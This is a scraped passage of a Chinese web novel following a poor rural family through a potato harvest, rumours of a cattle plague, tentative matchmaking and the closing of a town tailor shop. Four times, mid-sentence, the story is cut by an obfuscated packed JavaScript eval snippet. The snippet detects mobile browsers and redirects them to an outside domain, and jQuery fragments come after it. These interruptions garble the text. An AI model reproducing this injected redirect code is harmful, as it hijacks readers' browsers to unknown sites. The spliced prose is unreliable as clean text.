瞧着妹妹愣愣点头，乔小遇的心思才稍稍释然了些。她想着再过几天，村里的人心思淡了，便会少谈起何小知的事，便也没人再装着怜悯的话音去刺痛傅娘子以求个谈资了…… 怪到家里穷，连些铜钱的来处也要寻个合理的借口，而这借口虽能堵了人说些刻薄话，却也激起了一些人的表演欲——她们乐得看到傅娘子心神黯然的模样。 傅娘子会不懂她们的心思么？ 许是懂的，只她心里太苦，以为吐露出来会让自己好受些，且那些安慰的话不论真心几何，傅娘子却是愿意相信的。 乔小遇却无谓说什么信与不信的话。在她看来，爹娘将何小知送与人领养的事已经过去很多年了，那些“假设”也只会发生在遥不可触的将来。 村里终于有了新“谈资”——牛疫。 虽然村妇们最初说起这事时，依旧免不了将傅娘子家“卖女儿”的事提上一提，以便她们之后“表现”出讶然、感怀、惊慌等一应情绪。 “牛疫似乎已经蔓延到朝州城了，虽然城中目前还没有多少牛畜染病……”乔冉安从镇上打听回来的消息是这般。 “虽然”之后，便应有个“可”字——可就怕整个朝州府也没得几个安生日子可过了。 乔小遇听出她爹话音里的意思，可没想傅娘子闻言却是拍了拍胸脯，轻吸了口气道：“没多少牛畜染病就好……” “话说官府的人会有所管控的吧？乔家村这样的旮旯地儿，牛疫应该不会传过来的吧？”傅娘子又如此问乔冉安道。 乔冉安抿了抿唇，沉默片刻后终不过闷哼了声，便拿了他的烟袋子去院里坐着咂去了。 乔小遇相信村里有许多人都如她娘这般抱了侥幸之心。 入夜，有月。 肥泥子每晚都烧着也太浪费了，是以乔小遇一家人便都拖了节凳子坐到院中。 乔冉安不得闲，在院中理着去年剩下的稻草，以备着捆玉米草的时候用，傅娘子则与孩子们说说笑笑，手中一边忙着飞针走线。 “娘，你这样戳难道不会乱线么？”乔小佩瞧得眼花缭乱，疑问道。 “你娘就是闭着眼睛，该是什么颜色、什么粗细的线都不会绣错。”乔冉安偏过头来，笑呵呵地对小女儿说道。 “听你爹吹牛，这是月亮团呢。要真的黑灯瞎火，我可不敢做针线，那做出来的东西裁缝铺里的袁大娘可不敢收，我也不好意思拿出去丢人。”傅娘子垂目一笑，神情温婉。 “娘，你以后教我吧，我一定跟着你好好学。”乔小佩心存羡意，话音里尽是笃意。 “这敢情好，咱家平日里最闲不住的人就是你了。”傅娘子朝乔小佩笑着挤了挤眼，打趣说道。 眼瞥过乔小佩那一脸气呼呼的模样，傅娘子的心情难得松快了几分。她的视线紧接着停落在乔小遇身上，道：“小遇才该跟着学起来，再过两年你就成大姑娘了。” 乔小遇闻言不由得有些怔怔。她知道针线女红对村里的姑娘而言就像是一张脸面，脸面好看，说亲似乎也就容易些……只自她到这边后，她都不曾思考过这些类似的问题。 “若想达到娘亲的水准，这辈子怕都不可能了。”乔小遇心下微嘘，轻声应过要跟着她娘学针线的话。 只她应这话时，清澄的眸色便如那缥缈的月光般平静也就是了。 …… 似是听到了人们内心的祈愿一般，天公连日放晴。即便清晨时空中偶尔有阴云聚集，可等日头大些，那阴云便会被迅速蒸干，再无痕迹可寻。 双脚陷在黄泥里的乔小遇，但回头瞅了眼自家这挖土豆的进度，不禁劝她爹娘道：“您俩已经够仔细捡了，小一些的土豆根本没法子卖出去，便是掉几个在地里也无妨的。左右春耕之时，人还要跟在牛犁后头捡一回。” 乔小遇抹着锄头把上的泥，接着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924344|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹声道：“这花力气也得花在用处大些的地方不是？像你们这般，咱家这几亩土豆得挖到什么时候？” “呵，你这孩子是嫌你爹挖得慢了，还是自己想躲懒？”乔冉安扭头对乔小遇说道：“咱家就指着这几亩地里的土豆和玉米过日子，总要捡得细心些。” “我倒不是拦着你们再翻腾得细心些，可要是天气有变，你们多翻腾出的两粪箕土豆可能抵得上烂在地里的那一堆？” “你们总说家里事忙，可我却不曾瞧见你们忙出什么花样来……”乔小遇垂头嘀咕道。 “是了是了，我与你爹已经明白你心思了。”傅娘子凝眉思索片刻后，轻轻颔首，心下多已认同乔小遇的主意，只口中却忍不住促狭说道：“咱家早些挖完，便依着你的意思去帮你宝树哥家的忙。” “这两者有什么相干？”乔小遇话音淡淡，只她娘却已背转过身戏笑了。 乔小遇只能无奈轻叹。 自上回傅娘子领了小妹去给长田叔家里送过白芨粉后，两家的关系便比从前要热乎许多，而乔宝树成天往她家这边跑，得空还总帮着她爹挖砌墙的沟，傅娘子每每谈起乔宝树，脸上总带了和煦笑意。 话说回来，当日刘菜粉虽好意接过她娘送去的白芨粉，却是不敢随意用的，只回头又使了小叔乔长水往镇上跑了一趟，问清楚那东西的用处后，惊乱的心神才定了定。 而与此同时，刘菜粉亦才算得对傅娘子高看了眼。 乔长田依旧难得下地走路，这让刘菜粉心下十分焦虑。是以在前几日的某个大清早上，她带着儿子乔宝树特地登了乔小遇家的家门——除了想问清楚白芨的草叶长什么样子外，刘菜粉还特地给乔小遇家带了两罐荞麦种子。 这可当真算得一件好事，傅娘子免了上门亲自求人，心头自然也畅快了几分。 乔小遇记得转头时傅娘子还与她笑说道：“你菜粉婶子莫不是个半仙，连咱家里缺什么都知道？” “这叫精明。”乔小遇凝声笑道。 “管它叫什么。我只与你说，你菜粉婶子这作派就跟乔阿婆一般，教人心悦诚服。倒盼着她日后给宝树他们哥几个娶的媳妇都是好的，不要像乔陈氏她们一般。” 傅娘子这闲话已扯远，乔小遇听听便也就过了，只这几日下来，乔小遇却没想到她娘的心思竟转到了自己身上。 她心绪怔怔间，耳畔便传来乔宝树哥俩儿的声音，“四伯，四伯母，我们来割牛草了……” “哎，好嘞。”傅娘子手掌下意识减轻锄头下落的重量，才顿身回头，朝乔宝树说道：“你便割些嫩绿的牛草就好，不必管那些荆棘，麻烦。” “没事儿，我们的割草刀都是磨过的。”乔宝树朗笑着，眼瞥见乔小遇一脸的无奈神色，反而朝她得意地扬了扬下巴。 “宝槭，走……”乔宝树偏头对他弟弟笑声轻唤，仿佛割草荆这事儿与他平日里爬树掏鸟窝一般得乐。 16. 看对了眼 傅娘子并不再劝，因她瞧着乔宝树哥俩儿是站在上两块玉米地边上的，知道他们打算从玉米地里割起，眼里的笑意便不由得地深了几分…… 她用锄头扒了扒那几根立在乔冉安身前的土豆苗杆，示意乔冉安仔细听她说话，道：“这哥俩心实，我瞧着都是好孩子。” “嗯。”埋头苦干的乔冉安憨笑着看向媳妇儿，随意地应了声，接着便又挖起土豆来。 见乔冉安竟未听明白她的意思，傅娘子不由得气哼了声，而待她侧身过来将视线探向女儿时，却发觉乔小遇的心思并不在这上头，亦只顾着做活。 “得了，竟只有我一头热。”傅娘子轻叹了口气，旋才转身过去。 乔小遇缓缓地将头从黄泥堆里抬起来，但瞧着见乔宝树哥俩的身形在玉米棵里来回穿梭，心头想的却是：“村里人为何不将玉米和土豆套种在一处呢？” 像眼下这般以片地来分，棵丛不均不说，玉米和土豆的长势也都不会好。 大豆便不提了，家里不过是为了省些地皮，才凑活着种了些在玉米地里的，一年到头得个几斤，能教家里来客时，可多做出一道菜来便算了事，要说磨了做豆腐那完全是不够量的。 “确如爹所说，家里的几张嘴便都指望着这几块坡地里所种出的东西。只不知不觉中，对这几块坡地的索取已远远大于投入，庄稼便一年不如一年好了。” 乔小遇随手抓了把黄泥放在手中相看，想及她一连挖了好几日的土豆，却连蚯蚓都没见着几条，嘴角不由得轻瘪了瘪。 “若日后拿出如乔大闯家压粪那样的精神头，想着将这几块坡地养肥，怕也得等上几年。” 她摇了摇头，将手里的土重新撒落在地，暗道：“若家里能另有几块肥地便好了。人都道靠山吃山，靠水吃水，终日里与黄土打交道的农民，自然是多有几块良田耕种着比较安心。” “可家中与几个叔伯家的关系已到了老死不相往来的地步，想从他们那里收回些家里应得的田产怕是不可能的了。”乔小遇但想起那两位凡事都为几个叔伯家算计周全的爷爷奶奶，觉着她爹娘这些年过得实在辛苦。 “我总得寻法子存下些钱……”乔小遇终又把主意打到了进野山林的这件事上来。 她知道自己需要争取时间，因为牛疫已蔓延到了朝州城，兴许再过段时日，她便是再想进野山林怕也是不能得进了。 村里人得了这几个晴空日子，便似多不容易般，才从夹缝中寻得几口粗气可喘，一时纷纷卯足了劲儿，想着在下一场雨水来临之前将地里的土豆都收上来。 因着乔长田已能试着下床走路，刘菜粉去地里帮忙的时间便多了些，而乔宝树时常带了弟弟们去给乔冉安家割草荆的情状亦落入了她眼中…… “家里已经耽搁许多活计了，宝树难道不知道？”刘菜粉抱了一捆嫩草与自家大黄牛吃，对正在拴车的小叔乔长水问道：“长水，你瞧着这是个什么情状？” “莫不是宝树自己脸皮薄，傅娘子使唤了他两句，他便想着有始有终，直想将人家地埂上的荆棘都割个干净？” 想及傅娘子是个心直口快的人，刘菜粉便当这事儿是乔小遇她娘先开的口，一时图利了，便也没顾及到别人家里也缺人手。 乔长水闻言呵呵直笑，连带着手头捆车的绳子也松了去……刘菜粉瞥眼一看，忙快步过去与乔长水紧绳拴车。 “好嘞！”乔长水大手拍了拍装土豆的口袋，但瞧口袋和绳子间没多出许多空隙，得意地道：“这回可算是将绳子给扎结实了。” 旋即他才偏转回头，对刘菜粉说道：“嫂子说的没错，宝树可不就是个脸皮薄的？否则也不会每回去割牛草时都拉个弟弟跟着，不是宝槭就是宝栎。” “你这是什么意思？”刘菜粉听得一脸茫然。 乔长水嘴角轻咧，回头瞥了眼那还在地头收捡粪箕的乔宝树一眼，才道：“嫂子，宝树这是看上人家姑娘了。你怕是得抓点紧，再给备份聘礼，等回头我娶了亲，便轮着宝树啦……” 乔长水是他老娘拼了半条命才生下来的，与他大哥乔长田足足隔了十二岁，随着爹娘去世，哥几个都分了家，年纪尚幼的他便随了大哥一家生活。 因年龄相近，乔长水与大哥家里的三个小儿倒是玩得开来，平日里说话更像是同辈人一般。 这厢刘菜粉思绪已乱作一团，耳听着乔长水逗趣的话音，嗓音微急道：“什么轮着宝树？不是，你说他看上人家姑娘了？哪家姑娘？” “还能哪家？”乔长水眯眼轻笑。 “傅娘子家的女孩儿？”刘菜粉有些发愣，视线定定地落在乔长水身上，口中迟疑道：“你说乔小遇？” “不是她那还能是谁？”乔长水努了努嘴，接着去拉牛绳准备驾车。 “小遇那孩子？”刘菜粉口中继续嘀咕了几句，有些不可置信地道：“这俩怎么就对上眼了？” “什么对上眼？嫂子你别想多了，现下瞧着就宝树他一头热，冉安哥家可没见啥动静……也是，人家姑娘还小，兴许还不曾往这上头想过。” 乔长水眼底泛着兴奋的神采，接着说道：“若问起宝树是怎么瞧上人家的，兴许还是嫂子你从中给拉的红线……平日里但凡乔小遇背了篓子往门前过，你总要唤人进屋，盛碗水给人喝，这一来二去的，人可不就将你的儿子给拐跑了么？” “不，是你儿子巴着人尾巴跑的。”乔长水一边给大黄牛挠了挠脖子，一边说得津津有味，道：“嫂子，莫非你是早有所谋？” 乔长水轻笑着抬了抬眼，只没想刘菜粉听得他这长串打趣的话，嘴唇已紧抿成了一条线…… 似乎与预想中的情况不同…… 乔长水见他嫂子一言不发，赶忙转过话头。 “可你怎么就不替我早早地看着个姑娘呢，竟等我到了十六七岁才给我说成亲事……”乔长水故作出一副黯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924345|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然模样，沉叹出声。 “这……这怎么还怪到我身上来了？” 刘菜粉气笑出声，紧绷的面色终缓了几分，她摊手道：“要不是你的生辰八字不好，且生你时差些将娘的命也给搭上，你的亲事又怎么会拖到这时候？” “是……是，嫂子可饶了我吧，我知道你事事念着我，也念着宝树他们哥几个的。”乔长水连忙对刘菜粉拱了拱手，一脸呵笑地道。 只他紧将着把手里最后剩得的一把青草塞到大黄牛的嘴里，又取了兜牛嘴的筐来给大黄牛系上，这段对话可才算是过去了。 “瞧这情形，嫂子对这桩亲事似乎并不是很满意？也是，就冉安哥家里那光景，且家中无子，日子可有得几年要熬呢。”乔长水瞥了眼那踩着车后尾让他驾车的嫂子，心下暗沉。 “大抵能教嫂子瞧上的，是冉安哥家的那姑娘能吃苦罢，然而结亲又是另外一回事了。”念及此处，乔长水不由得暗暗摇头。 若非他方才将话题扯到自己身上来，依着他嫂子那黯沉沉的神色，没准回头便与乔宝树训话了。乔长水了解他嫂子的脾性，所以刘菜粉对这件事的态度——他是猜了个七八分的。 只有一点他没想到，刘菜粉在过了那当口后，私下里竟也没有训问过乔宝树。 在刘菜粉看来，雾有朦胧，人有年少，儿子如今并不见得就懂那么许多……她按捺下了训问儿子的冲动，尤其在她发现乔小遇对她家宝树并没有那方面的心思后。 若仔细探究起来，傅娘子或许存了几分小心思，但刘菜粉从来不接傅娘子那些类似于“两个孩子处得多好”的话，傅娘子渐渐地便也失了兴趣。 刘菜粉很会把握这当中的分寸，她虽不应那些话题，但在其他方面却做得十分周到。 只她如此，向来胡思多想的傅娘子却也不由得心焦许多…… 乔小遇将这些都看在眼里，心下了然，渐着意与乔宝树始终保持着一段距离——尤在之后家里人去帮着乔长田家做活的那段日子。 到底人家一片热心…… 刘菜粉此前或许对傅娘子有所介怀，可当她站在地头，眼瞧着身子骨还未好全的乔冉安使了蛮力，满篮满篮地帮自家把土豆背到牛车边，怎么劝也只回那一句“我腿早好全了”的话时，刘菜粉便开始惭愧起来。 暮日西斜，重新变得清澈的拖罗河里晕染着一层橙黄的色泽，静静地流淌向前，穿过青瓦土墙，以及那满目的碧绿稻野…… 乔小遇因觉着从家里的水井里打水洗衣太过费事，便索性用木盆将家里的泥衣端了来河边洗。 “这做活的衣裳竟是怎么也漂不干净了，只能去些泥渣汗味。”乔小遇轻嘘说道。只下一息，她又莫名觉着自己这话无论怎么听都像是一种疲懒的借口，不由得摇头失笑。 抬手轻擦了擦额上渗出的汗津，乔小遇远瞧着有四五个人朝自家院子所在处走来，走在前头的似乎还是那位何里正？ 17. 古道热肠 乔小遇紧忙将没入河中的衣服拖上来，扔在木盆里，便朝家门口的方向跑去。 “何里正，您怎么来了？”乔小遇轻推开院门，眼瞥过那坐在门槛上数石子数的小妹，才将目光探向何里正等人。 “姐姐，何里正这是带人来家里收土豆呢。”说话间，乔小佩已紧忙从门槛上挪下来，一边脚踢开小碎石子，对何照熊等人说道：“何里正，你们要不进屋喝点水吧。” 何照熊摆了摆手，突出的颧骨上扯皱起几道笑纹，道：“不必了不必了，就你们姊妹俩在家，你爹娘他们也没回来，卖土豆这事也得大人做主。” 旋即他稍稍侧身，指着身后的几个男子对乔小遇说道：“这些人是隔壁县里过来收土豆的。我心想着今年你家算是这村里早些挖起土豆的，便领了人过来看看，哪不妨你爹娘不在。” “瞧这情形，他们应当还在地里帮着你长田叔家做活吧……”何照熊和暖笑着，只挂着这抹笑意的面颊太过瘦窄，倒反让人觉着这蜡黄的面皮下掩着一种不快与刻薄劲儿。 乔小遇知道，这何照熊平日里常与家中子弟甚多的乔长田过不去，便说其弟乔长水还未结成亲事只在家蹲着凭白耽搁年纪的那些年，这何照熊可没少过奚落之语…… 今日既提说及爹娘去帮着长田叔家做活的事，这何照熊的话音便算如何热切，可心底却不知是怎么想的呢。 何氏本不是村里的大姓，但因着家门殷实，何姓人家反而当了里正，做了乔家村的主。若在从前，这何照熊亲自领了买土豆的人前来介绍门路，乔小遇兴许还只当人是热心肠，可现下…… 人既不打算进屋坐一坐，乔小遇便也没那心思招待了。 她抿唇轻笑了笑，对何照熊道：“也是，家里大人没回来，我们姐妹是做不了主的，只是麻烦何里正白白带人往家里跑这一趟了，真是不好意思。” 她这话说得很是客气，何照熊闻言面上笑意愈盛，连连摆手道：“哪里的话，左右你这几个收土豆的叔伯会在我家里住几日，我既带他们来过，那等明天你爹娘在家的时候，他们自己过来商量也就方便了。” “我这明天还有事不是，也就得这么个空口。”何照熊轻将手拍合实了，话锋微转，竟还真当自个儿是个热心人，接着道：“也是紧着你家里的情形，所以才先过来的。遇丫头，等晚间你家大人回来，你可别忘了与他们说这事。” 他眯眼看向乔小遇，微凸的卧蚕几已将那泛着精光的眼珠子给遮掩了去，而不待乔小遇应语，何照熊便又偏头问旁边的一名男子道：“今年这价钱是高了些的吧？” 那人呵笑点头，微尖的下巴朝乔小遇抬了抬，道：“往年算下来，这土豆是两斤八两才得两文钱，今年却是一文钱一斤。小姑娘，若你家有意想卖，我们明儿中午还会过来一趟，你且叫你家大人在家等我们一等。” “好的，我会与我爹娘说的。”乔小遇作出乖巧模样，只当依言要转告大人这事，却对这价格没有什么认知一般。 目送几人离院，乔小佩走到乔小遇身旁，问道：“何里正竟这般好心的？” “谁知道呢……”乔小遇轻啧了声，接着道：“今年雨水甚多，几个县上的庄稼收成都不怎么好，涨价自然也在情理之中，只瞧着何里正这般心热，我都差些要觉着门前的拖罗河水要倒流了。” 话音轻落，姐妹俩不禁一阵笑语。 天色擦黑时，乔冉安夫妻俩便扛着锄头回家来了。 夫妻俩虽是帮急，却不愿给乔长田家里添麻烦，早晚饭食都是回来吃的。待洗过手进屋，但瞧着桌上摆着的饭食正热腾腾地冒气，两个女儿则忙着拖凳来坐的情形，傅娘子竟觉着肩头的疲累感已卸去了大半。 乔小佩是个憋不住话的，方坐下身来，便将傍晚时里正领了收土豆的人上门相访的事情说过，并问道：“娘，家里要卖土豆与这些人么？” “自然是卖的，你没听这价钱都涨了许多么？只怕过了这个村就没这个店了。”口中含了些吃食的乔冉安呵呵笑着，待他混了一口汤水将面粒咽下去后，才又接着问道：“那几人说他们什么时候过来？” “明天中午呢。”乔小佩笑音清脆地道。 乔冉安点了点头，紧扒了一口饭下腹，沉声道：“那明儿中午她娘便留在家里等收土豆的人，若过了日头人没到，便到何里正家里去问一问。至于我嘛，却还是去帮着长田家收下尾罢。” “你确定要卖？”傅娘子凝眉道：“兴许再等上几天，也会有别人进村来收土豆的，这价钱没准会再涨上一涨。” “过几天，村里大多数的人家便都将土豆挖起来了，价钱还怎么涨？” 傅娘子斜睨了眼丈夫，又道：“咱们村虽在个犄角旮旯地儿，可收土豆的人每年都会来个两三波的，总得前后对比了看看才好。” “何况何里正什么德行你又不是不知道，难道他竟是个得了好事还先念了别家的人？便算如此，却怎么也轮不着咱家的吧。” 乔冉安当下听得傅娘子这番不甚入耳的话，一阵皱眉，默声片刻后才道：“那便听你的意思，再等上一等？” 一直在旁静听着家人讨论的乔小遇，眼瞧着她爹但遇着与傅娘子意见相左的时候从来都选择让步，连半句怪责的话都不舍得说出口的情形，不禁摇头失笑，道：“等或不等，都得看看市价再定的。至于何里正心头究竟打的什么主意，咱们且打听着何家人有没有卖的再说。” “那岂不是又要去镇上一趟？”乔冉安犹豫地道：“那长田家的活……” “本来也就是去帮急的，这会儿大头都忙过了，你要去镇上打听便去吧，我去帮忙就成。”傅娘子说道。 “可这样会不会不太好？”乔冉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924346|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安微缩了缩脖子，怔眼定定看向傅娘子，而口中咀嚼的动作亦不自觉地缓了下来。 “有什么不好的？你可是学了宝树那孩子，提说割草荆便索性要割完了才成？” 傅娘子悄悄瞥了眼乔小遇的方向，才侧头对乔冉安凶道：“人家里就算乔长田成了个闲人，可还有个弟弟乔长水呢，下头三个儿子也已经可以当事了，哪像你杵了副松散骨头？” 乔冉安只好闷言不语了。 乔小遇见她爹自尊心受挫，偏又不愿逆了傅娘子的意总还好言好语地哄着，一时竟也不知该说什么为好。 她娘也不是如乔阿婆和菜粉婶子那般厉害的妇人，便说强势也只是在家里冲着她爹罢了，一出院门，无论挟了一股如何盛的气焰也会立马熄了去。 “人家里个个能当事，我家却是不成……”乔小遇几不可闻地轻叹了声，对傅娘子存意撮合她与乔宝树结亲的小心思似乎有了更为“深刻的认识”。 还是那般，傅娘子终还是有意无意地指望着有人能一把手伸将过来，把他们这个破败的家扶持起来。谁叫家中无子呢？ 菜粉婶子的顾虑也多在这点上吧……谁家愿意娶个媳妇儿便将带着背起一堆沉木来？ 乔宝树他娘尽可以给乔小遇几碗白水喝，几个核桃磕，这是人惜弱怜贫，乔小遇只有感念在心的份。 可自家要是分不清这当中界限，巴着笑着，连帮人也只带了利益成分，那之后的种种往来，即便表现得如何亲厚，这关系也会与捣蛋孩子往小径上结的蚊子草结一般，一绊便破，连带着人还摔将倒地，溅染上满身的浆泥。 结亲与结善，终归不是一回事。 …… 晨光仿佛是从地表之下冒出来的一般，乔小遇紧步随在她爹身后，渐瞧着日光映照下的人影逐渐变短，便知镇上是快要到了。 这回她特地央了她爹想要跟来镇上，心里原未抱了多少希望，只没想傅娘子只叮嘱乔冉安将孩子看好后，便拿了上月里做好的针线递给乔小遇，让她到镇上后交给裁缝铺的袁大娘，并把之后要做的鞋垫与线团带回来。 乔小遇知道她爹辨不清线团的颜色粗细，以前帮傅娘子带也不是没有过出错的时候，倒难怪此番她试探开口，傅娘子也未拦她。 小镇四面环山，赶集的街市交成一个十字，地方并不大。但瞧着街面上人影稀疏，乔小遇原当此行并未赶上开集的日子，不曾多想，只等父女俩去到了针线铺子里，这“不曾多想”竟成了想也没用。 裁缝铺里没有半个客人，袁大娘埋头坐在长柜上裁布，但听见似乎有人进门，恹恹的面上立马扬起一股喜色，直坐起身来便要上前去迎。 “怎么是冉安兄弟你来了？傅娘子呢？”袁大娘轻轻扯动唇角，原先面上所漾的欢喜之色仿佛被几根纠扯作一处的线条给切离了去，有一种别扭感。 18. 关店避难 乔冉安嘿笑了笑，接过话头：“我媳妇在家帮人做活呢，不曾来。原是上月里拿回去做的针线活已经做成了，便想着尽快带回来给您。” “傅娘子的手脚一向麻利。”袁大娘伸手接过乔小遇递过去的篮子，视线微定，随即欣笑道：“你是遇丫头？没想竟都长那么大了。” 乔小遇乖巧点头，袁大娘伸手轻抚了抚她的头顶，才接着道：“之前拿与你家的干酸菜可还吃得成？这回不妨再拿些回去吧。” “这怎么好意思？” 一旁的乔冉安赶忙摆手拒绝，只袁大娘却道家中还有许多，叫乔冉安不必太客气…… 乔小遇眼见着袁大娘阴郁的神色稍凝顿了些，接着便要掀起布帘朝后院走去，她心底莫名浮起一股紧张感，出声道：“总拿大娘家里的东西，这让我们心里怎么过得去？” “且那酸菜虽好吃得很，却也十分开胃，总教人忍不住多吃两碗，凭白多费些粮食。”她开口过急，只觉着不论人打算送什么东西，她与爹爹接到手里后那份量都会变重。 乔小遇实不想接。 袁大娘被她这话逗笑，怜悯的目光轻落在她略显紧张的小脸上，接着叹笑了声。 “我家这孩子说话一向没得大小，您别跟她见怪。”乔冉安有些脸红地将乔小遇拉到身后，喉咙处便似含了块石子般，发声十分紧涩。 “可怜孩子……”袁大娘摇了摇头，示意乔冉安不必往心里去，只她视线微沉，终还是着意避开了乔小遇那双如琥珀般明亮的眼，弯腰往后院走去。 见人已不在场，乔冉安侧身对乔小遇笑道：“你既惦着费粮食，怎么先前你二叔重新给咱家掏烟囱时，你晌午还愿意给人做那放了干酸菜的玉米稀饭？” 乔小遇动了动唇，眼瞧着乔冉安面上那抹泛着慈爱与苦涩的笑意，却不知该怎么接话才好…… 她垂下头来，盯着鞋面发怔的眼渐觉酸涩，泪滴仿佛那附着在松树皮表面的松脂般，因受热而融化开来，接着掉落在地。 “来，冉安兄弟，这些虽算不得什么稀罕物，只终究是点心意，你可千万别嫌弃。”袁大娘这般说着，见乔冉安用手相挡推辞，索性转了个身，将东西放到了乔小遇身后的背篓里。 乔冉安见状只得憨笑了笑，拱手谢过。 “孩子既觉着费粮食，我便又往里头添了两斤玉米面……”袁大娘道。 “这怎么能成？”乔冉安只当袁大娘是因为女儿不知礼的趣话才这般破费，瞪眼朝女儿看来，不想乔小遇只杵在原地垂目不语。 “这不关遇丫头的事。冉安兄弟，原是我有话与你说，且回去后你也需得把内情同傅娘子一字一句讲明白了……只望她不要怨怪我才好。” 听得袁大娘郑重的语气，乔冉安伸手朝女儿背篓里拿出东西的动作不由得僵在半空。他不知当中出了什么变故，话音愣愣地道：“您这是哪里的话？” 袁大娘轻呵出了口气，才道：“原是牛疫遍传，朝州城里甚至还涌入了大批难民，官老爷们已被搅弄得头疼，我们这些平头百姓自然也不敢托大，就担心这遭便与当年那场牛疫一般为难人。” “生意是不好做了，我想着需得去我那二姑娘家避一避，这店便也要跟着关了。如今镇上的米铺已经有了涨价的势头，你们家里若是有闲钱，便紧跟着去换些米粮存着吧。秋后家里收上来的玉米荞麦什么的，可千万留着，别瞧着是些粗物，能填饱肚子挨过饥荒便算万幸了。” 乔冉安家中哪里有什么闲钱，零用贴补也是靠着傅娘子在裁缝铺里接的针线活赚来的，可如今裁缝铺却是要关门了。 袁大娘后头还说了许多掏心窝子的话，可乔冉安自听到铺子要关门的事后，那股木然的情绪便似颗沉进泥塘里的石头般，再难拖拽起来。 这场牛疫的情状，远比他们想象中的还要糟糕，而如乔冉安这般绷断了心弦的人定不在少数。 “怎么说关就关呢，您这般……可叫我家里怎么过？”乔冉安的话音轻啜，佝偻着的脊背透出一种前所未有的沉重感。 困苦的生活枷锁已将他锁缚多年，如今这道已然承受不了多少重量的脊背，终于迎来了压垮它的最后一根稻草。 “冉安兄弟，这话可不能这么说。”袁大娘当即便绷起了脸色，道：“我这也是无法啊……” “大娘，我爹不是怨责你的意思。”乔小遇敛起情绪，爬泛上了几根血丝的琥珀色眼珠仿佛掺进了些杂质，直令人想要伸手拂去。 她微笑着看向袁大娘那张隐了薄怒的面庞，缓声说道：“您帮了我家这么多，我与爹娘一直都不晓得该怎么谢你才好，如今又怎会怨你？断是没有那理的。” “爹爹只是觉着无奈，所以说出了些怨话，而这怨话并非针对您……只道日子艰难，各自保身已是不易，可大娘却还匀出两斤玉米面来与我家，您便不是庙里的菩萨像，也是容得我们一家跪拜的。” 袁大娘面上神情不禁转为苦色，余光轻掠过乔冉安那张已然布满泪痕的、与沉淤在池塘深底多年的黑泥一般颜色的脸，话音苦涩地道：“好孩子，我怎么受得起你这般话……大娘也是无奈啊。” “小遇与爹爹都是晓得的，您不必心里过意不去。”乔小遇轻吸了吸鼻子，随即半蹲了身，将背篓从身上退下来。 “若真到了闹饥荒的那一步，小遇家里还仗得几块坡地，可大娘每天过手的便只有针线和铜板这两样，跟我们庄稼人怎么比呢？” 她轻手轻脚地将那两斤玉米面拿将出来，放在身旁的柜台上，抿唇说道：“这玉米面许是大娘去米铺里换出来的，难为您多垫了些铜板，我与爹爹又怎么敢接？大娘还是带在身上吧，便算您打算去投奔您的二女儿，也可以给她少添些负累不是？” “你这孩子才多大些？大娘虽是没法才不得不关了这铺子，却不是说我盘做了这许多年生意，竟是一点的身家都没攒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924347|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来，哪消你来替我打算？” 袁大娘柔和地笑了笑，伸手将眼角的泪水轻轻擦拭了去，接着道：“你且等我一等。” 乔小遇闻言稍愣，但瞧着袁大娘的身形消失在晃动的帘角处，心下不由得沉叹了口气…… 此番牛疫突发，于被无奈波及的各州府百姓实是一件不幸的事，只逢着收夏粮的时节，伴随着牛疫而蔓延开来的恐慌感才不至于那么明显…… 可这股恐慌感对人们而言，终像极了雨后的山洪一般，但凡雨势未衰，范围未减，蓄积起来的山洪便会有将水库堤坝冲垮的一天。 眼看屋宇良田被毁么？自然不是。那些有余力的人会抓紧时间筑高堤坝，又或者重新寻个落脚地方，使自己免受波及。 裁缝铺的袁大娘便是后者，心无余且力不足的，是她所在的这个家。 无甚倚仗，风雨飘摇。 袁大娘这回是拿了个小竹篓子出来的。 她斜睨了一眼兀自难过的乔冉安，终只能几不可见地摇了摇头。 